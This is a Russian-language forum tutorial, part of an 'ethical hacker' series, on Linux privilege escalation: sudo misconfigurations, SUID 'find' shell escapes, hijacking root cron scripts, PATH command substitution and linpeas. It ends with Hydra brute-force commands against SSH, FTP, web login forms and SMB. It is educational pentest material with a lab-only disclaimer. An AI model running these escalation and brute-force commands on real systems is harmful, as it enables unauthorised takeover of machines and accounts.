Путь этичного хакера – Часть [6] – Повышение привилегий, поиск SUID и cron-уязвимостей

  • Автор темы Автор темы HMCoba
  • Дата начала Дата начала

HMCoba

Форумчанин
Регистрация
14.06.2025
Сообщения
24
Реакции
34
2ntes1t.png



🧠 Путь этичного хакера часть - 6

Повышение привилегий: поиск SUID и cron-уязвимостей



📌 Оглавление серии:

Часть 1 — Введение в этичный хакинг
Часть 2 — Установка Kali Linux и создание тестовой среды
Часть 3 — Тестирование уязвимостей веб-приложений
Часть 4 — Продвинутые атаки и анализ окружения
Часть 5 — Удалённый доступ и обратные подключения
Часть 6 — Повышение привилегий, поиск SUID и cron-уязвимостей
Часть 7 — Автоматизация атак с помощью Python и работа с Metasploit



Как получить полный контроль над системой ?
Если вы уже умеете находить уязвимости и получаете базовый доступ к системе — пора перехватить полный контроль.
Это и называется повышение привилегий (Privilege Escalation) — переход от ограниченного пользователя к root (полный доступ).


🧩 Что такое привилегии и зачем их повышать?
В Linux у каждого пользователя есть уровень прав:
  • Код:
    www-data
    — веб-сервер
  • Код:
    user
    — обычный пользователь
  • Код:
    root
    — администратор

Если вы попали как
Код:
www-data
, вы не можете:
  • Читать чужие файлы
  • Изменять настройки системы
  • Устанавливать программы

Наша цель — получить root-доступ и показать, как опасна уязвимость.

Этап 1: Узнаём, кто мы и где находимся
Полезные команды:

Код:
whoami
id
uname -a
hostname

Этап 2: Проверка прав через sudo
Код:
sudo -l
Если вывод:
Код:
(ALL) NOPASSWD: /bin/bash

Запускаем:
Код:
sudo /bin/bash
whoami
Если ответ:
Код:
root
— успех.

Этап 3: Поиск файлов с SUID-битами — что это и зачем искать
Когда файл имеет специальный флаг SUID (Set User ID), это значит, что он будет исполняться от имени владельца файла, а не пользователя, который его запускает.

🔥 Если такой файл принадлежит root и мы его можем запустить — он выполнится с root-привилегиями. Это может привести к полному захвату системы.

Команда для поиска всех таких файлов:
Код:
find / -perm -u=s -type f 2>/dev/null

📌 Пояснение:
/ — ищем по всей системе
-perm -u=s — фильтруем только SUID-файлы
-type f — только обычные файлы
2>/dev/null — скрываем сообщения об ошибке доступа к системным директориям

Обычные безопасные файлы:
Код:
/usr/bin/passwd
/usr/bin/sudo

Но если вы видите что-то необычное, например:
Код:
/usr/bin/find
/usr/bin/python
/usr/bin/vim
— это может быть потенциальной уязвимостью.

Пример: повышаем привилегии через find с SUID
Если find имеет root-SUID:
Код:
find . -exec /bin/sh \;
Теперь введите:
Код:
whoami
Если вывод:
Код:
root
— вы получили полный контроль.
---

Этап 4: Проверка cron-задач от root — что это и как использовать
🕒 Cron — это системный планировщик. Он запускает скрипты в указанное время. Если какой-то скрипт от root доступен для редактирования — вы можете изменить его и выполнить команду от имени root.

Команды для проверки всех cron-задач:
Код:
ls -la /etc/cron.*
cat /etc/crontab
crontab -l

Что искать:
– Скрипты, исполняемые от root
– Файлы, которые вы можете редактировать (есть права на запись)

Пример уязвимости:
Если видите:
Код:
* * * * * root /tmp/backup.sh
А файл /tmp/backup.sh можно изменить, замените его содержимое:
Код:
#!/bin/bash
/bin/bash

Сделайте файл исполняемым:
Код:
chmod +x /tmp/backup.sh

⏳ Через минуту cron выполнит скрипт — вы получите shell от root.

---

Этап 5: Уязвимые переменные окружения (PATH, LD_PRELOAD)
👣 Некоторые скрипты вызывают системные команды без указания полного пути, например:
Код:
cp important.txt /backup/
Если переменная $PATH подделана, скрипт выполнит вашу версию команды cp.

Пошаговая подмена команды cp:
1. Создайте фальшивый скрипт:
Код:
echo "/bin/bash" > cp
chmod +x cp

2. Добавьте текущую папку в PATH:
Код:
export PATH=.:$PATH

Теперь, когда вызовется cp — выполнится /bin/bash от имени того, кто вызвал скрипт. Если это root — вы получите root-доступ.

---

Этап 6: Автоматизированный поиск уязвимостей с linpeas
🧠 linpeas — скрипт, который автоматически ищет ВСЕ возможные векторы повышения привилегий: от SUID до уязвимостей ядра.

1. Скачиваем скрипт:
Код:
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

2. Делаем его исполняемым:
Код:
chmod +x linpeas.sh

3. Запускаем:
Код:
./linpeas.sh

🧩 Скрипт покажет:
  • Файлы с SUID
  • Уязвимые cron-скрипты
  • Ошибки в PATH
  • Доступные эксплойты ядра
  • Плохие разрешения на конфигурационные файлы

Используйте Ctrl + F (или / в терминале) и ищите ключевые слова: SUID, cron, PATH, writable, exploitable.



✅ Как проверить, добились ли вы root-доступа:
Просто выполните:
Код:
whoami

Если результат:
Код:
root
— значит, вы полностью контролируете систему.




🔐 Дополнительно: Перебор паролей с помощью Hydra

Hydra — мощный инструмент для перебора паролей, используемый для тестирования безопасности систем аутентификации.



📌 Что такое перебор?

Перебор (brute-force) — метод подбора правильного логина и пароля путём последовательного перебора возможных вариантов из словарей.



📌 Что такое словари (wordlists)?

Словари — это текстовые файлы со списками часто используемых логинов или паролей. Hydra использует их для автоматического подбора комбинаций. Например, файл rockyou.txt содержит миллионы популярных паролей.



📌 Что такое модули (MODULE)?

Hydra работает с разными типами сервисов — SSH, FTP, веб-формы, SMB и др. Для каждого протокола предусмотрен отдельный модуль, который знает, как правильно взаимодействовать с сервисом.



📦 Установка Hydra (если не предустановлена):

sudo apt update
sudo apt install hydra

Проверка установки: hydra -h



🧩 Поддерживаемые протоколы (MODULE):

  • ssh
  • ftp
  • telnet
  • http, https, http-post-form, http-get-form
  • smb, rdp, vnc, mysql, postgres, smtp, imap, ldap и другие



🔧 Общий синтаксис команды:

hydra [OPTIONS] [TARGET] [MODULE]

  • [OPTIONS] — параметры (например, списки логинов и паролей)
  • [TARGET] — IP-адрес или домен цели
  • [MODULE] — протокол, например ssh, ftp, http-post-form



🔐 Примеры атак:

1) Перебор логинов и паролей на SSH:

hydra -L users.txt -P passwords.txt ssh://192.168.1.10

Где:
  • -L users.txt — файл со списком логинов
  • -P passwords.txt — файл со списком паролей
  • ssh://192.168.1.10 — цель с указанием протокола



2) Перебор пароля с одним логином на FTP:

hydra -l admin -P rockyou.txt ftp://192.168.1.20

Где:
  • -l admin — один логин "admin"
  • -P rockyou.txt — словарь паролей



3) Атака на веб-форму методом HTTP POST:

hydra -l admin -P passlist.txt 192.168.1.5 http-post-form "/login.php:username=^USER^&password=^PASS^:F=Incorrect"

Объяснение:
  • /login.php — путь к форме авторизации на сервере
  • username=^USER^&password=^PASS^ — параметры формы, где ^USER^ и ^PASS^ — специальные маркеры, которые Hydra заменяет текущими логином и паролем из словарей
  • F=Incorrect — текст ошибки в ответе при неудачной авторизации. Очень важно указать корректно, чтобы Hydra понимала, когда попытка не удалась.



4) Перебор логинов и паролей на SMB:

hydra -L logins.txt -P passwords.txt smb://192.168.1.15



⚙️ Полезные опции Hydra:

| Опция | Назначение |
|-------|----------------------------------- |
| -L | Файл со списком логинов |
| -l | Один логин |
| -P | Файл со списком паролей |
| -p | Один пароль |
| -s | Указать порт (если нестандартный) |
| -t | Количество потоков (по умолчанию 16) |
| -f | Остановить после первого успеха |
| -o | Сохранить результат в файл |
| -vV | Подробный вывод |



📁 Где взять словари?

В Kali Linux уже предустановлен:
/usr/share/wordlists/rockyou.txt.gz

Для использования его нужно разархивировать:
gunzip /usr/share/wordlists/rockyou.txt.gz



🔥 Советы по использованию:

  • Используйте флаг -t 4–8 при медленном соединении для снижения нагрузки
  • Не ставьте слишком агрессивные параметры, чтобы избежать блокировок
  • Перед атакой веб-формы изучите её с помощью Burp Suite или curl
  • Точно определите строку отказа авторизации (параметр F=) — это критично для успеха



📌 Итоги урока:
Сегодня вы узнали:

  • Что такое привилегии и зачем их повышают
  • Как использовать sudo без пароля
  • Как найти SUID-файлы и использовать их
  • Как использовать cron-задачи для захвата системы
  • Как подделать команды через PATH
  • Как linpeas помогает найти слабые места
  • Ознакомились с командами и инструментом Hydra


⚠️ Внимание:
Этот материал предназначен исключительно для учебных целей.
Любое несанкционированное проникновение в системы — незаконно и наказуемо по закону.
Работайте только в лабораторной среде или с письменного согласия владельца.

🔜 В следующей части: Автоматизация атак с помощью Python и работа с Metasploit
  • Автоматизация атак с помощью Python
  • Первичный вход в Metasploit Framework

✉️ Напишите в комментариях, получилось ли у вас достичь root-доступа, и какие методы сработали!
 
Последнее редактирование:
Назад
Верх Низ